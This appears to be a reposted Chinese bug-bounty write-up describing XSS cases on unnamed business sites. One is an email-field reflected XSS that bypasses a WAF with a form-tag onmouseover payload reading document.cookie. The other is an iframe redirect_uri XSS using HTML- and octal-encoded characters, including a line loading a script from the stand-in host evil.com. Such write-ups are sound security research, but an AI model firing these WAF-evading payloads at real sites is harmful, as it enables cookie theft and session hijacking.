文章总结: 文档分享了SRC挖掘中的四个XSS实战案例。涵盖登录跳转利用注释绕过Host检测、图片上传闭合标签触发事件、邮件提交处通过form标签onmouseover绕过WAF、及iframe拼接导致的跨域受限XSS。作者详细阐述了漏洞原理、绕过技巧及POC构造,并提及自研Burp插件,强调了实战中资产收集的重要性。 综合评分: 83 文章分类: SRC活动,WEB安全,漏洞POC,实战经验
成功弹窗
邮件提交处的XSS
在测试某业务的邮箱密码验证时,发现一个包含请求邮箱的页面。
记得之前看过一篇文章,有些服务在发送完邮件后会弹出一个“邮件已发送+email”的页面导致反射型XSS,感觉就是这种了。
随手测试了一下,发现直接waf了空格、双引号、尖括号,和”\”。实体了html编码的尖括号,但是没有实体html编码的双引号。
同时在FUZZ的期间多次出现参数错误的请求,发现可能是应用层做了些过滤:
- email字符串长度<40且@结尾
- 不能同时出现两个双引号、括号
- 正则alert(1)\prompt(1)\confim…
不过只要脱离引号就好说,毕竟有很多JS事件可以调。一开始把眼光放在了input标签上测试了一些on事件,发现type是hidden,一些可视on事件都没用的。记得之前看过一个input hidden xss的一个用法是按alt+shift+x触发,poc如下
urlencode(email="/accesskey="X"/onclick="alert('xss')&#[email protected])
但是这个poc很鸡肋。因为要打出cookie的话长度受限,且利用条件苛刻(firefox+按键)
回头看了下发现有form标签也有输出点,最初以为form能执行的JS事件就只有reset和submit,后来测试跑onmounseover也能弹框。
encodeurl(email="/onmouseover="alert(document.cookie)&#[email protected])
一个受阻的XSS
在测试某业务时发现一个有趣的参数拼接点:
iframe的src拼接url参数+后端给定的第三方host->iframe加载src
测试了一下特殊字符都给实体化了,但是又舍不得一个iframe
经过一番寻找,发现第三方服务的登陆点存在JS跳转漏洞,用iframe加载这个第三方服务的dom-xss也能造成弹框效果
虽然是在SRC业务站点弹的框,但真正的域应该是子页面的。打印一下COOKIE验证,果然是子页面域的cookie。由于waf掉了document.cookie和javascript:alert,我用了html编码的’:’和八进制js编码的’.’绕过,完整打印子页面域payload如下
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)
在进一步的探索中,我做了两个尝试:
- 尝试跳一个外域的JS,看能不能把src属性转到这个js
https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
但是会把资源解析到子页面的document里,而不是src的改变
iframe是否能调用父页面的事件呢(document)?如果可以的话我们就直接调js uri把cookie打出去。之所以有这个想法是因为,当时寻思既然站点调用这个三方服务了,很大可能性这个三方站是iframe-src白名单。不过测试后发现依然被跨域限制,测试payload
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)
对跨域姿势了解的不多,如果有兴趣的师傅,可以一起来交流一下这种问题
自闭总结
从打ctf到学着去挖洞,还是有一些思维出入的地方,慢慢理解之前师傅们说的资产收集的重要性。
后台回复加群加入交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:陌笙不太懂安全 hpdoger《SRC挖掘初探之随缘XSS挖掘》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论